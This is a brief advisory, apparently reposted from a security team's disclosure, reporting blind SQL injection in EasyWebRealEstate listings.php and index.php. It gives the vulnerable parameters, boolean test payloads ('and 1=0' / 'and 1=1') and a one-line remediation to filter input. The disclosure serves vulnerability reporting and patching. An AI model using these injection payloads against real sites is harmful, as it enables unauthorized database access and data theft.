标题: EasyWebRealEstate Blind SQL Injection Vulnerabilitiy
作者: H4ckCity Security Team  farbodmahini www.2cto.com  WwW.H4ckCity.Org
软件地址: www.easywebrealestate.com
影响所有版本: All Version
测试平台: GNU/Linux Ubuntu - Windows Server - win7
############################################################################
示例
#  http://www.2cto.com /[patch]/listings.php?lstid=1 [Blind SQL]
#  http://www.2cto.com /[patch]/index.php?current=tip&infoid=9' [Blind SQL]
#
#
#  Test Blind SQL Injection:
#
#
#  [-] False
#
#  http://www.2cto.com /[patch]/listings.php?lstid=1 and 1=0
#
#  [+] True
#
#  http://www.2cto.com /[patch]/listings.php?lstid=1 and 1=1
#
# 修复
 
过滤listings.php页面lstid参数输入
#